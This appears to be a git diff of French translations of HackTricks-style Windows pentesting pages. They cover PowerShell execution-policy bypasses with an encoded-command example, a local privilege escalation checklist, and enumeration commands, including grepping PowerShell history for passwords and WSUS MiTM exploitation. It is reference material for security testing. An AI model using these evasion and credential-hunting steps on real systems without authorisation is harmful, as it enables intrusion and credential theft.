+Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner le constrained mode. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
-## PS Execution Policy
+## Politique d'exécution PS
 
-Par défaut, il est défini sur **restricted.** Principales façons de bypass this policy:
+Par défaut, elle est définie sur **restricted.** Principales méthodes pour contourner cette politique :
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@@ -254,39 +254,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 9º Use EncodeCommand
 $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 ```
-More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+Plus d'informations disponibles [ici](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 
 ## Interface Security Support Provider (SSPI)
 
-C'est l'API qui peut être utilisée pour authentifier les utilisateurs.
+Est l'API permettant d'authentifier les utilisateurs.
 
-Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode privilégiée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé ; ces protocoles d'authentification sont appelés Security Support Provider (SSP), se trouvent sur chaque machine Windows sous forme de DLL et les deux machines doivent prendre en charge le même SSP pour pouvoir communiquer.
+Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode privilégiée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé ; ces protocoles d'authentification sont appelés Security Support Provider (SSP), sont présents dans chaque machine Windows sous forme de DLL et les deux machines doivent supporter le même pour pouvoir communiquer.
 
-### Principaux SSP
+### Principaux SSPs
 
-- **Kerberos**: Le préféré
+- **Kerberos** : Le préféré
 - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** et **NTLMv2**: Pour des raisons de compatibilité
+- **NTLMv1** and **NTLMv2** : Pour des raisons de compatibilité
 - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Serveurs web et LDAP, mot de passe sous forme d'un hash MD5
+- **Digest** : serveurs Web et LDAP, mot de passe sous forme de hash MD5
 - %windir%\Windows\System32\Wdigest.dll
-- **Schannel**: SSL et TLS
+- **Schannel** : SSL et TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le protocole par défaut)
+- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant celui par défaut)
 - %windir%\Windows\System32\lsasrv.dll
 
 #### La négociation peut proposer plusieurs méthodes ou une seule.
 
 ## UAC - User Account Control
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les actions nécessitant des privilèges élevés**.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les activités nécessitant des privilèges élevés**.
 
 
 {{#ref}}
 uac-user-account-control.md
 {{#endref}}
 
-## Références
+## References
 
 - [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
 - [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md
index 321f5ed87..9df976ccf 100644
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ b/src/windows-hardening/checklist-windows-privilege-escalation.md
@@ -1,115 +1,115 @@
-# Checklist - Escalade locale de privilèges Windows
+# Checklist - Local Windows Privilege Escalation
 
 {{#include ../banners/hacktricks-training.md}}
 
-### **Meilleur outil pour rechercher les vecteurs d'escalade de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Meilleur outil pour rechercher des vecteurs de Local Windows Privilege Escalation :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 ### [Infos Système](windows-local-privilege-escalation/index.html#system-info)
 
-- [ ] Obtenir [**informations système**](windows-local-privilege-escalation/index.html#system-info)
-- [ ] Rechercher des **exploits kernel** [**avec des scripts**](windows-local-privilege-escalation/index.html#version-exploits)
-- [ ] Utiliser **Google** pour rechercher des exploits kernel
-- [ ] Utiliser **searchsploit** pour rechercher des exploits kernel
-- [ ] Infos intéressantes dans les [**variables d'environnement**](windows-local-privilege-escalation/index.html#environment) ?
-- [ ] Mots de passe dans l’[**historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history) ?
-- [ ] Infos intéressantes dans les [**paramètres Internet**](windows-local-privilege-escalation/index.html#internet-settings) ?
-- [ ] [**Lecteurs**](windows-local-privilege-escalation/index.html#drives) ?
-- [ ] [**Exploit WSUS**](windows-local-privilege-escalation/index.html#wsus) ?
-- [ ] [**Mise à jour auto d'agents tiers / abus d'IPC**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
+- [ ] Obtenir les [**informations système**](windows-local-privilege-escalation/index.html#system-info)
+- [ ] Rechercher des **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
+- [ ] Utiliser **Google** pour rechercher des **kernel exploits**
+- [ ] Utiliser **searchsploit** pour rechercher des **kernel exploits**
+- [ ] Infos intéressantes dans les [**env vars**](windows-local-privilege-escalation/index.html#environment) ?
+- [ ] Mots de passe dans l'[**historique PowerShell**](windows-local-privilege-escalation/index.html#powershell-history) ?
+- [ ] Infos intéressantes dans les [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) ?
+- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) ?
+- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) ?
+- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
 - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) ?
 
 ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
 
-- [ ] Vérifier les paramètres d’[**Audit**](windows-local-privilege-escalation/index.html#audit-settings) et de [**WEF**](windows-local-privilege-escalation/index.html#wef)
+- [ ] Vérifier les paramètres [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) et [**WEF**](windows-local-privilege-escalation/index.html#wef)
 - [ ] Vérifier [**LAPS**](windows-local-privilege-escalation/index.html#laps)
 - [ ] Vérifier si [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) est actif
 - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) ?
 - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
 - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) ?
-- [ ] Vérifier la présence d’un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
+- [ ] Vérifier la présence d'un [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
 - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) ?
 - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
 - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Vérifier les **privilèges** de l’utilisateur [**actuel**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Êtes-vous [**membre d’un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups) ?
-- [ ] Vérifier si vous avez [l’un de ces tokens activés](windows-local-privilege-escalation/index.html#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
-- [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/index.html#logged-users-sessions) ?
-- [ ] Vérifier [**homes des utilisateurs**](windows-local-privilege-escalation/index.html#home-folders) (accès ?)
-- [ ] Vérifier la [**Politique de mot de passe**](windows-local-privilege-escalation/index.html#password-policy)
-- [ ] Que contient le [**Presse-papiers**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ?
+- [ ] Vérifier les **privileges** de l'utilisateur **actuel** (current) (windows-local-privilege-escalation/index.html#users-and-groups)
+- [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/index.html#privileged-groups) ?
+- [ ] Vérifier si vous avez [l'un de ces tokens activés](windows-local-privilege-escalation/index.html#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
+- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) ?
+- [ ] Vérifier les [**users homes**](windows-local-privilege-escalation/index.html#home-folders) (accès ?)
+- [ ] Vérifier la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
+- [ ] Quel est le [**contenu du Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ?
 
 ### [Network](windows-local-privilege-escalation/index.html#network)
 
-- [ ] Vérifier les [**informations réseau**](windows-local-privilege-escalation/index.html#network) **actuelles**
-- [ ] Vérifier les **services locaux cachés** restreints vers l’extérieur
+- [ ] Vérifier les [**informations réseau**](windows-local-privilege-escalation/index.html#network) actuelles
+- [ ] Vérifier les services locaux cachés restreints depuis l'extérieur
 
 ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
 
 - [ ] Permissions des fichiers et dossiers des binaires des processus [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
 - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
 - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
-- [ ] Voler des identifiants avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
+- [ ] Voler des credentials avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
 
 ### [Services](windows-local-privilege-escalation/index.html#services)
 
-- [ ] [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation/index.html#permissions)
-- [ ] [Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
-- [ ] [Pouvez-vous **modifier** le **registre** d’un **service** ?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
-- [ ] [Pouvez-vous profiter d’un **unquoted service binary path** ?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
+- [ ] Pouvez-vous **modifier un service** quelconque ? (windows-local-privilege-escalation/index.html#permissions)
+- [ ] Pouvez-vous **modifier** le **binaire** exécuté par un **service** ? (windows-local-privilege-escalation/index.html#modify-service-binary-path)
+- [ ] Pouvez-vous **modifier** le **registry** d'un **service** ? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
+- [ ] Pouvez-vous tirer parti d'un **unquoted service binary path** ? (windows-local-privilege-escalation/index.html#unquoted-service-paths)
 
 ### [**Applications**](windows-local-privilege-escalation/index.html#applications)
 
-- [ ] **Permissions d’écriture** sur des applications installées [**write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
-- [ ] [**Applications au démarrage**](windows-local-privilege-escalation/index.html#run-at-startup)
-- [ ] [**Drivers vulnérables**](windows-local-privilege-escalation/index.html#drivers)
+- [ ] **Permissions d'écriture** sur des applications installées [**write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
+- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
+- [ ] **Drivers vulnérables** [**Vulnerable Drivers**](windows-local-privilege-escalation/index.html#drivers)
 
 ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
 
 - [ ] Pouvez-vous **écrire dans un dossier présent dans PATH** ?
-- [ ] Existe-t-il un binaire de service connu qui **tente de charger une DLL inexistante** ?
+- [ ] Existe-t-il un binaire de service connu qui **essaie de charger une DLL inexistante** ?
 - [ ] Pouvez-vous **écrire** dans un **dossier de binaires** ?
 
 ### [Network](windows-local-privilege-escalation/index.html#network)
 
-- [ ] Énumérer le réseau (shares, interfaces, routes, voisins, ...)
+- [ ] Énumérer le réseau (shares, interfaces, routes, neighbours, ...)
 - [ ] Porter une attention particulière aux services réseau écoutant sur localhost (127.0.0.1)
 
 ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
 
-- [ ] Identifiants [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
-- [ ] Utilisez-vous des identifiants du [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) ?
-- [ ] [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) intéressants ?
-- [ ] Mots de passe des réseaux [**Wifi**](windows-local-privilege-escalation/index.html#wifi) sauvegardés ?
-- [ ] Infos intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ?
-- [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/index.html#recently-run-commands) ?
-- [ ] Mots de passe du [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) ?
-- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe) ? Identifiants ?
+- [ ] Credentials [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
+- [ ] Credentials [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) utilisables ?
+- [ ] DPAPI credentials intéressants ? (windows-local-privilege-escalation/index.html#dpapi)
+- [ ] Mots de passe de réseaux Wifi enregistrés ? (windows-local-privilege-escalation/index.html#wifi)
+- [ ] Infos intéressantes dans les [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) ?
+- [ ] Mots de passe dans les [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) ?
+- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) mots de passe ?
+- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe) ? Credentials ?
 - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm) ? DLL Side Loading ?
 
 ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
 
-- [ ] **Putty :** [**identifiants**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**clefs d’hôte SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
-- [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) ?
-- [ ] Mots de passe dans des [**fichiers unattended**](windows-local-privilege-escalation/index.html#unattended-files) ?
+- [ ] **Putty :** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **et** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
+- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) ?
+- [ ] Mots de passe dans des [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) ?
 - [ ] Existe-t-il une sauvegarde [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) ?
-- [ ] [**Identifiants cloud**](windows-local-privilege-escalation/index.html#cloud-credentials) ?
+- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) ?
 - [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ?
 - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) ?
-- [ ] Mot de passe dans le [**IIS Web config**](windows-local-privilege-escalation/index.html#iis-web-config) ?
-- [ ] Infos intéressantes dans les [**logs web**](windows-local-privilege-escalation/index.html#logs) ?
-- [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l’utilisateur ?
-- [ ] Fichiers intéressants dans la [**Corbeille**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ?
-- [ ] Autres [**renseignements dans le registre contenant des identifiants**](windows-local-privilege-escalation/index.html#inside-the-registry) ?
-- [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historique, bookmarks, ...) ?
-- [ ] [**Recherche générique de mots de passe**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registre
-- [ ] [**Outils**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
+- [ ] Mot de passe dans un [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) ?
+- [ ] Infos intéressantes dans des [**web logs**](windows-local-privilege-escalation/index.html#logs) ?
+- [ ] Voulez-vous [**demander des credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) à l'utilisateur ?
+- [ ] Fichiers intéressants dans la [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) ?
+- [ ] Autres [**registry contenant des credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) ?
+- [ ] Dans les [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...) ?
+- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) dans les fichiers et le registry
+- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
 
 ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
 
-- [ ] Avez-vous accès à un handler d’un processus exécuté par un administrateur ?
+- [ ] Avez-vous accès à un handler d'un processus exécuté par un administrateur ?
 
 ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
 
-- [ ] Vérifier si vous pouvez l’abuser
+- [ ] Vérifier si vous pouvez l'abuser
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 9d6403643..eb0e98332 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -8,7 +8,7 @@
 
 ### Access Tokens
 
-**Si vous ne savez pas ce que sont les Windows Access Tokens, lisez la page suivante avant de continuer :**
+**Si vous ne savez pas ce que sont Windows Access Tokens, lisez la page suivante avant de continuer :**
 
 
 {{#ref}}
@@ -17,7 +17,7 @@ access-tokens.md
 
 ### ACLs - DACLs/SACLs/ACEs
 
-**Consultez la page suivante pour plus d'informations sur les ACLs - DACLs/SACLs/ACEs :**
+**Consultez la page suivante pour plus d'informations sur ACLs - DACLs/SACLs/ACEs :**
 
 
 {{#ref}}
@@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md
 
 ### Integrity Levels
 
-**Si vous ne savez pas ce que sont les integrity levels sous Windows, vous devriez lire la page suivante avant de continuer :**
+**Si vous ne savez pas ce que sont integrity levels dans Windows, vous devriez lire la page suivante avant de continuer :**
 
 
 {{#ref}}
@@ -35,18 +35,18 @@ integrity-levels.md
 
 ## Contrôles de sécurité Windows
 
-Il existe différentes choses sous Windows qui peuvent **prevent you from enumerating the system**, empêcher l'exécution d'exécutables ou même **detect your activities**. Vous devez **read** la **page** suivante et **enumerate** tous ces **defenses** **mechanisms** **before starting the privilege escalation enumeration** :
+Il existe différentes choses dans Windows qui pourraient **vous empêcher d'énumérer le système**, d'exécuter des exécutables ou même de **détecter vos activités**. Vous devriez **lire** la **page** suivante et **énumérer** tous ces **mécanismes de défense** avant de commencer l'énumération de privilege escalation :
 
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/
 {{#endref}}
 
-## Informations système
+## Infos système
 
-### Version info enumeration
+### Énumération des informations de version
 
-Vérifiez si la version de Windows présente une vulnérabilité connue (vérifiez aussi les correctifs appliqués).
+Vérifiez si la version de Windows présente une vulnérabilité connue (vérifiez également les patches appliqués).
 ```bash
 systeminfo
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec
 Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
 Get-Hotfix -description "Security update" #List only "Security Update" patches
 ```
-### Exploits de version
+### Exploits par version
 
-Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **énorme surface d'attaque** qu'un environnement Windows présente.
+Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est utile pour rechercher des informations détaillées sur les vulnérabilités de sécurité Microsoft. Cette base de données contient plus de 4 700 vulnérabilités de sécurité, montrant la **vaste surface d'attaque** qu'un environnement Windows présente.
 
 **Sur le système**
 
 - _post/windows/gather/enum_patches_
 - _post/multi/recon/local_exploit_suggester_
 - [_watson_](https://github.com/rasta-mouse/Watson)
-- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas intègre watson)_
+- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas a watson intégré)_
 
 **Localement avec les informations système**
 
 - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
 - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
 
-**Dépôts Github d'exploits :**
+**Dépôts GitHub d'exploits :**
 
 - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
 - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
@@ -83,7 +83,7 @@ Ce [site](https://msrc.microsoft.com/update-guide/vulnerability) est pratique po
 
 ### Environnement
 
-Y a-t-il des credential/Juicy info enregistrés dans les env variables ?
+Des identifiants/informations "Juicy" sont-ils enregistrés dans les variables d'environnement ?
 ```bash
 set
 dir env:
@@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
 ```
 ### Fichiers de transcription PowerShell
 
-Vous pouvez apprendre comment l'activer sur [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
+Vous pouvez apprendre comment l'activer à l'adresse suivante : [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
 ```bash
 #Check is enable in the registry
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@@ -116,9 +116,9 @@ Stop-Transcript
 ```
 ### PowerShell Module Logging
 
-Les détails des exécutions du pipeline PowerShell sont enregistrés, incluant les commandes exécutées, les invocations de commandes et des extraits de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.
+Les détails des exécutions du pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.
 
-Pour activer cela, suivez les instructions dans la section "Transcript files" de la documentation, en optant pour **"Module Logging"** plutôt que **"Powershell Transcription"**.
+Pour activer cela, suivez les instructions dans la section "Transcript files" de la documentation, en choisissant **"Module Logging"** plutôt que **"Powershell Transcription"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@@ -131,14 +131,15 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
 ```
 ### PowerShell **Script Block Logging**
 
-Un enregistrement complet des activités et du contenu de l'exécution du script est capturé, garantissant que chaque bloc de code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour forensics et pour l'analyse des comportements malveillants. En documentant toute activité au moment de l'exécution, des informations détaillées sur le processus sont fournies.
+Un enregistrement complet des activités et du contenu intégral de l'exécution du script est capturé, garantissant que chaque block of code est documenté au fur et à mesure de son exécution. Ce processus préserve une piste d'audit complète de chaque activité, précieuse pour forensics et pour l'analyse du malicious behavior. En documentant toute activité au moment de l'exécution, il fournit des informations détaillées sur le processus.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 ```
-Les événements liés au Script Block se trouvent dans le Visualiseur d'événements Windows au chemin : **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Pour afficher les 20 derniers événements, vous pouvez utiliser :
+Les événements de journalisation pour le Script Block peuvent être trouvés dans le Visualiseur d'événements Windows à l'emplacement : **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
+Pour afficher les 20 derniers événements, vous pouvez utiliser :
 ```bash
 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
 ```
@@ -155,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
 ```
 ## WSUS
 
-Vous pouvez compromettre le système si les mises à jour ne sont pas demandées via http**S** mais via http.
+Vous pouvez compromettre le système si les mises à jour ne sont pas demandées en utilisant http**S** mais http.
 
-Commencez par vérifier si le réseau utilise une mise à jour WSUS non-SSL en exécutant la commande suivante dans cmd:
+Commencez par vérifier si le réseau utilise une mise à jour WSUS non-SSL en exécutant la commande suivante dans cmd :
 ```
 reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
 ```
@@ -181,9 +182,9 @@ PSProvider   : Microsoft.PowerShell.Core\Registry
 ```
 Et si `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ou `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` est égal à `1`.
 
-Alors, **c'est exploitable.** Si la dernière entrée de registre est égale à `0`, l'entrée WSUS sera alors ignorée.
+Alors, **c'est exploitable.** Si la dernière valeur de registre est égale à 0, l'entrée WSUS sera ignorée.
 
-Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils tels que : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — ce sont des scripts d'exploitation MiTM weaponisés pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL.
+Pour exploiter ces vulnérabilités, vous pouvez utiliser des outils comme : [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ce sont des scripts d'exploit MiTM weaponized pour injecter des mises à jour 'fausses' dans le trafic WSUS non-SSL.
 
 Read the research here:
 
@@ -194,17 +195,17 @@ CTX_WSUSpect_White_Paper (1).pdf
 **WSUS CVE-2020-1013**
 
 [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
-En gros, voici la faille exploitée par ce bug :
+Essentiellement, voici la faille exploitée par ce bug :
 
-> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset.
+> Si nous avons la possibilité de modifier le proxy utilisateur local, et que Windows Updates utilise le proxy configuré dans les paramètres d'Internet Explorer, nous avons donc la possibilité d'exécuter [PyWSUS](https://github.com/GoSecure/pywsus) localement pour intercepter notre propre trafic et exécuter du code en tant qu'utilisateur élevé sur notre poste.
 >
-> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
